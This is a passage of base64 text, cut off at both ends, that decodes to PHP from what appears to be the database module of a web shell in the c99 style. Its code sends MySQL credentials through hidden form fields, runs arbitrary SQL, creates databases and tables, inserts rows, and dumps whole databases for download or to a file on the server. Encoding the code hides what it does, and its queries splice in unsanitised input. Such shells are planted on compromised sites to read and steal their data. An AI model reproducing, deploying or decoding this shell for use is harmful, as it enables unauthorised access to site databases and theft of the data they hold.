iRzcWxfcXVlcnlfZXJyb3IuIjxicj4iO30KICAgIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX2FjdCA9ICRzcWxfZ290bzt9CiAgICBpZiAoKCEkc3VibWl0KSBvciAoJHNxbF9hY3QpKSB7ZWNobyAiPHRhYmxlIGJvcmRlcj1cIjBcIiB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCIxXCI+PHRyPjx0ZD48Zm9ybSBhY3Rpb249XCIiLiRzcWxfc3VybC4iXCIgbWV0aG9kPVwiUE9TVFwiPjxiPiI7IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQgdG86Ijt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSA6Ijt9IGVjaG8gIjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic3FsX3F1ZXJ5XCIgY29scz1cIjEwMFwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9hY3RcIiB2YWx1ZT1cInF1ZXJ5XCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2dvdG9cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2dvdG8pLiJcIj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzcWxfY29uZmlybVwiIHZhbHVlPVwiWWVzXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+PC90cj48L3RhYmxlPiI7fQogICB9CiAgIGlmIChpbl9hcnJheSgkc3FsX2FjdCwkYWN0cykpCiAgIHsKICAgID8+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkNyZWF0ZSBuZXcgdGFibGU6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9Im5ld3RibCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld3RibCIgc2l6ZT0iMjAiPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkR1bXAgREI6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9ImR1bXAiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImR1bXBfZmlsZSIgc2l6ZT0iMzAiIHZhbHVlPSI8P3BocCBlY2hvICJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kc3FsX2RiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIjsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT0iRHVtcCI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjwvdGFibGU+PD9waHAKICAgIGlmICghZW1wdHkoJHNxbF9hY3QpKSB7ZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iO30KICAgIGlmICgkc3FsX2FjdCA9PSAibmV3dGJsIikKICAgIHsKICAgICBlY2hvICI8Yj4iOwogICAgIGlmICgobXlzcWxfY3JlYXRlX2RiICgkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKSB7ZWNobyAiREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiIGhhcyBiZWVuIGNyZWF0ZWQgd2l0aCBzdWNjZXNzITwvYj48YnI+IjsKICAgIH0KICAgIGVsc2Uge2VjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIuPGJyPlJlYXNvbjo8L2I+ICIubXlzcWxfc21hcnRlcnJvcigpO30KICAgfQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJkdW1wIikKICAgewogICAgaWYgKGVtcHR5KCRzdWJtaXQpKQogICAgewogICAgICRkaXBsYXkgPSBGQUxTRTsKICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJhY3RcIiB2YWx1ZT1cInNxbFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9hY3RcIiB2YWx1ZT1cImR1bXBcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGI+U1FMLUR1bXA6PC9iPjxicj48YnI+IjsKICAgICBlY2hvICI8Yj5EQjo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJHNxbF9kYikuIlwiPjxicj48YnI+IjsKICAgICAkdiA9IGpvaW4gKCI7IiwkZG1wdGJscyk7CiAgICAgZWNobyAiPGI+T25seSB0YWJsZXMgKGV4cGxvZGUgXCI7XCIpJm5ic3A7PGI+PHN1cD4xPC9zdXA+PC9iPjo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImRtcHRibHNcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdikuIlwiIHNpemU9XCIiLihzdHJsZW4oJHYpKzUpLiJcIj48YnI+PGJyPiI7CiAgICAgaWYgKCRkdW1wX2ZpbGUpIHskdG1wID0gJGR1bXBfZmlsZTt9CiAgICAgZWxzZSB7JHRtcCA9IGh0bWxzcGVjaWFsY2hhcnMoIi4vZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCIpO30KICAgICBlY2hvICI8Yj5GaWxlOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2R1bXBfZmlsZVwiIHZhbHVlPVwiIi4kdG1wLiJcIiBzaXplPVwiIi4oc3RybGVuKCR0bXApK3N0cmxlbigkdG1wKSAlIDMwKS4iXCI+PGJyPjxicj4iOwogICAgIGVjaG8gIjxiPkRvd25sb2FkOiA8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzcWxfZHVtcF9kb3dubG9hZFwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPjxicj4iOwogICAgIGVjaG8gIjxiPlNhdmUgdG8gZmlsZTogPC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfc2F2ZXRvZmlsZVwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+IjsKICAgICBlY2hvICI8YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiRHVtcFwiPjxicj48YnI+PGI+PHN1cD4xPC9zdXA+PC9iPiAtIGFsbCwgaWYgZW1wdHkiOwogICAgIGVjaG8gIjwvZm9ybT4iOwogICAgfQogICAgZWxzZQogICAgewogICAgICRkaXBsYXkgPSBUUlVFOwogICAgICRzZXQgPSBhcnJheSgpOwogICAgICRzZXRbInNvY2siXSA9ICRzcWxfc29jazsKICAgICAkc2V0WyJkYiJdID0gJHNxbF9kYjsKICAgICAkZHVtcF9vdXQgPSAiZG93bmxvYWQiOwogICAgICRzZXRbInByaW50Il0gPSAwOwogICAgICRzZXRbIm5sMmJyIl0gPSAwOwogICAgICRzZXRbIiJdID0gMDsKICAgICAkc2V0WyJmaWxlIl0gPSAkZHVtcF9maWxlOwogICAgICRzZXRbImFkZF9kcm9wIl0gPSBUUlVFOwogICAgICRzZXRbIm9ubHl0YWJzIl0gPSBhcnJheSgpOwogICAgIGlmICghZW1wdHkoJGRtcHRibHMpKSB7JHNldFsib25seXRhYnMiXSA9IGV4cGxvZGUoIjsiLCRkbXB0YmxzKTt9CiAgICAgJHJldCA9IG15c3FsX2R1bXAoJHNldCk7CiAgICAgaWYgKCRzcWxfZHVtcF9kb3dubG9hZCkKICAgICB7CiAgICAgIEBvYl9jbGVhbigpOwogICAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CiAgICAgIGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuc3RybGVuKCRyZXQpKTsKICAgICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJHNxbF9kdW1wX2ZpbGUpLiJcIjsiKTsKICAgICAgZWNobyAkcmV0OwogICAgICBleGl0OwogICAgIH0KICAgICBlbHNlaWYgKCRzcWxfZHVtcF9zYXZldG9maWxlKQogICAgIHsKICAgICAgJGZwID0gZm9wZW4oJHNxbF9kdW1wX2ZpbGUsInciKTsKICAgICAgaWYgKCEkZnApIHtlY2hvICI8Yj5EdW1wIGVycm9yISBDYW4ndCB3cml0ZSB0byBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2R1bXBfZmlsZSkuIlwiISI7fQogICAgICBlbHNlCiAgICAgIHsKICAgICAgIGZ3cml0ZSgkZnAsJHJldCk7CiAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgIGVjaG8gIjxiPkR1bXBlZCEgRHVtcCBoYXMgYmVlbiB3cml0ZWQgdG8gXCIiLmh0bWxzcGVjaWFsY2hhcnMocmVhbHBhdGgoJHNxbF9kdW1wX2ZpbGUpKS4iXCIgKCIudmlld19zaXplKGZpbGVzaXplKCRzcWxfZHVtcF9maWxlKSkuIik8L2I+LiI7CiAgICAgIH0KICAgICB9CiAgICAgZWxzZSB7ZWNobyAiPGI+RHVtcDogbm90aGluZyB0byBkbyE8L2I+Ijt9CiAgICB9CiAgIH0KICAgaWYgKCRkaXBsYXkpCiAgIHsKICAgIGlmICghZW1wdHkoJHNxbF90YmwpKQogICAgewogICAgIGlmIChlbXB0eSgkc3FsX3RibF9hY3QpKSB7JHNxbF90YmxfYWN0ID0gImJyb3dzZSI7fQogICAgICRjb3VudCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgQ09VTlQoKikgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsKICAgICAkY291bnRfcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGNvdW50KTsKICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkY291bnQpOwogICAgICR0Ymxfc3RydWN0X3Jlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIEZJRUxEUyBGUk9NIGAiLiRzcWxfdGJsLiJgOyIpOwogICAgICR0Ymxfc3RydWN0X2ZpZWxkcyA9IGFycmF5KCk7CiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkdGJsX3N0cnVjdF9yZXN1bHQpKSB7JHRibF9zdHJ1Y3RfZmllbGRzW10gPSAkcm93O30KICAgICBpZiAoJHNxbF9scyA+ICRzcWxfbGUpIHskc3FsX2xlID0gJHNxbF9scyArICRwZXJwYWdlO30KICAgICBpZiAoZW1wdHkoJHNxbF90YmxfcGFnZSkpIHskc3FsX3RibF9wYWdlID0gMDt9CiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xzKSkgeyRzcWxfdGJsX2xzID0gMDt9CiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xlKSkgeyRzcWxfdGJsX2xlID0gMzA7fQogICAgICRwZXJwYWdlID0gJHNxbF90YmxfbGUgLSAkc3FsX3RibF9sczsKICAgICBpZiAoIWlzX251bWVyaWMoJHBlcnBhZ2UpKSB7JHBlcnBhZ2UgPSAxMDt9CiAgICAgJG51bXBhZ2VzID0gJGNvdW50X3Jvd1swXS8kcGVycGFnZTsKICAgICAkZSA9IGV4cGxvZGUoIiAiLCRzcWxfb3JkZXIpOwogICAgIGlmIChjb3VudCgkZSkgPT0gMikKICAgICB7CiAgICAgIGlmICgkZVswXSA9PSAiZCIpIHskYXNjX2Rlc2MgPSAiREVTQyI7fQogICAgICBlbHNlIHskYXNjX2Rlc2MgPSAiQVNDIjt9CiAgICAgICR2ID0gIk9SREVSIEJZIGAiLiRlWzFdLiJgICIuJGFzY19kZXNjLiIgIjsKICAgICB9CiAgICAgZWxzZSB7JHYgPSAiIjt9CiAgICAgJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAgIi4kdi4iTElNSVQgIi4kc3FsX3RibF9scy4iICwgIi4kcGVycGFnZS4iIjsKICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOwogICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGNlbnRlcj48Yj5UYWJsZSAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiIgKCIubXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KS4iIGNvbHMgYW5kICIuJGNvdW50X3Jvd1swXS4iIHJvd3MpPC9iPjwvY2VudGVyPiI7CiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfYWN0PXN0cnVjdHVyZVwiPlsmbmJzcDs8Yj5TdHJ1Y3R1cmU8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOwogICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2FjdD1icm93c2VcIj5bJm5ic3A7PGI+QnJvd3NlPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsKICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX2FjdD10YmxkdW1wJnRoaXN0Ymw9MVwiPlsmbmJzcDs8Yj5EdW1wPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsKICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9hY3Q9aW5zZXJ0XCI+WyZuYnNwOzxiPkluc2VydDwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7CiAgICAgaWYgKCRzcWxfdGJsX2FjdCA9PSAic3RydWN0dXJlIikge2VjaG8gIjxicj48YnI+PGI+Q29taW5nIHNvb29uITwvYj4iO30KICAgICBpZiAoJHNxbF90YmxfYWN0ID09ICJpbnNlcnQiKQogICAgIHsKICAgICAgaWYgKCFpc19hcnJheSgkc3FsX3RibF9pbnNlcnQpKSB7JHNxbF90YmxfaW5zZXJ0ID0gYXJyYXkoKTt9CiAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3JhZGlvKSkKICAgICAgewoKICAgICAgfQogICAgICBlbHNlCiAgICAgIHsKICAgICAgIGVjaG8gIjxicj48YnI+PGI+SW5zZXJ0aW5nIHJvdyBpbnRvIHRhYmxlOjwvYj48YnI+IjsKICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKQogICAgICAgewogICAgICAgICRzcWxfcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kc3FsX3RibC4iYCI7CiAgICAgICAgJHNxbF9xdWVyeSAuPSAiIFdIRVJFIi4kc3FsX3RibF9pbnNlcnRfcTsKICAgICAgICAkc3FsX3F1ZXJ5IC49ICIgTElNSVQgMTsiOwogICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jaykgb3IgcHJpbnQoIjxicj48YnI+Ii5teXNxbF9zbWFydGVycm9yKCkpOwogICAgICAgICR2YWx1ZXMgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTsKICAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICAgICAgIH0KICAgICAgIGVsc2UgeyR2YWx1ZXMgPSBhcnJheSgpO30KICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMSVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQ+PGI+RmllbGQ8L2I+PC90ZD48dGQ+PGI+VHlwZTwvYj48L3RkPjx0ZD48Yj5GdW5jdGlvbjwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsKICAgICAgIGZvcmVhY2ggKCR0Ymxfc3RydWN0X2ZpZWxkcyBhcyAkZmllbGQpCiAgICAgICB7CiAgICAgICAgJG5hbWUgPSAkZmllbGRbIkZpZWxkIl07CiAgICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgeyR2ID0gIiI7fQogICAgICAgIGVjaG8gIjx0cj48dGQ+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iPC9iPjwvdGQ+PHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT1cInNxbF90YmxfaW5zZXJ0X2Z1bmN0c1siLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCI+PG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPjxvcHRpb24+UEFTU1dPUkQ8L29wdGlvbj48b3B0aW9uPk1ENTwvb3B0aW9uPjxvcHRpb24+RU5DUllQVDwvb3B0aW9uPjxvcHRpb24+QVNDSUk8L29wdGlvbj48b3B0aW9uPkNIQVI8L29wdGlvbj48b3B0aW9uPlJBTkQ8L29wdGlvbj48b3B0aW9uPkxBU1RfSU5TRVJUX0lEPC9vcHRpb24+PG9wdGlvbj5DT1VOVDwvb3B0aW9uPjxvcHRpb24+QVZHPC9vcHRpb24+PG9wdGlvbj5TVU08L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiXCI+LS0tLS0tLS08L29wdGlvbj48b3B0aW9uPlNPVU5ERVg8L29wdGlvbj48b3B0aW9uPkxDQVNFPC9vcHRpb24+PG9wdGlvbj5VQ0FTRTwvb3B0aW9uPjxvcHRpb24+Tk9XPC9vcHRpb24+PG9wdGlvbj5DVVJEQVRFPC9vcHRpb24+PG9wdGlvbj5DVVJUSU1FPC9vcHRpb24+PG9wdGlvbj5GUk9NX0RBWVM8L29wdGlvbj48b3B0aW9uPkZST01fVU5JWFRJTUU8L29wdGlvbj48b3B0aW9uPlBFUklPRF9BREQ8L29wdGlvbj48b3B0aW9uPlBFUklPRF9ESUZGPC9vcHRpb24+PG9wdGlvbj5UT19EQVlTPC9vcHRpb24+PG9wdGlvbj5VTklYX1RJTUVTVEFNUDwvb3B0aW9uPjxvcHRpb24+VVNFUjwvb3B0aW9uPjxvcHRpb24+V0VFS0RBWTwvb3B0aW9uPjxvcHRpb24+Q09OQ0FUPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0WyIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIl1cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdmFsdWVzWyRuYW1lXSkuIlwiIHNpemU9NTA+PC90ZD48L3RyPiI7CiAgICAgICAgJGkrKzsKICAgICAgIH0KICAgICAgIGVjaG8gIjwvdGFibGU+PGJyPiI7CiAgICAgICBlY2hvICI8aW5wdXQgdHlwZT1cInJhZGlvXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3JhZGlvXCIgdmFsdWU9XCIxXCIiOyBpZiAoZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7ZWNobyAiIGNoZWNrZWQiO30gZWNobyAiPjxiPkluc2VydCBhcyBuZXcgcm93PC9iPiI7CiAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBvciA8aW5wdXQgdHlwZT1cInJhZGlvXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3JhZGlvXCIgdmFsdWU9XCIyXCIgY2hlY2tlZD48Yj5TYXZlPC9iPiI7IGVjaG8gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3FcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibF9pbnNlcnRfcSkuIlwiPiI7fQogICAgICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT4iOwogICAgICB9CiAgICAgfQogICAgIGlmICgkc3FsX3RibF9hY3QgPT0gImJyb3dzZSIpCiAgICAgewogICAgICAkc3FsX3RibF9scyA9IGFicygkc3FsX3RibF9scyk7CiAgICAgICRzcWxfdGJsX2xlID0gYWJzKCRzcWxfdGJsX2xlKTsKICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOwogICAgICBlY2hvICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPW11bHRpcGFnZVwiIGhlaWdodD1cIjEyXCIgd2lkdGg9XCIxMFwiIGFsdD1cIlBhZ2VzXCI+Jm5ic3A7IjsKICAgICAgJGIgPSAwOwogICAgICBmb3IoJGk9MDskaTwkbnVtcGFnZXM7JGkrKykKICAgICAgewogICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfb3JkZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiImc3FsX3RibF9scz0iLigkaSokcGVycGFnZSkuIiZzcWxfdGJsX2xlPSIuKCRpKiRwZXJwYWdlKyRwZXJwYWdlKS4iXCI+PHU+Ijt9CiAgICAgICBlY2hvICRpOwogICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjwvdT48L2E+Ijt9CiAgICAgICBpZiAoKCRpLzMwID09IHJvdW5kKCRpLzMwKSkgYW5kICgkaSA+IDApKSB7ZWNobyAiPGJyPiI7fQogICAgICAgZWxzZSB7ZWNobyAiJm5ic3A7Ijt9CiAgICAgIH0KICAgICAgaWYgKCRpID09IDApIHtlY2hvICJlbXB0eSI7fQogICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJhY3RcIiB2YWx1ZT1cInNxbFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIi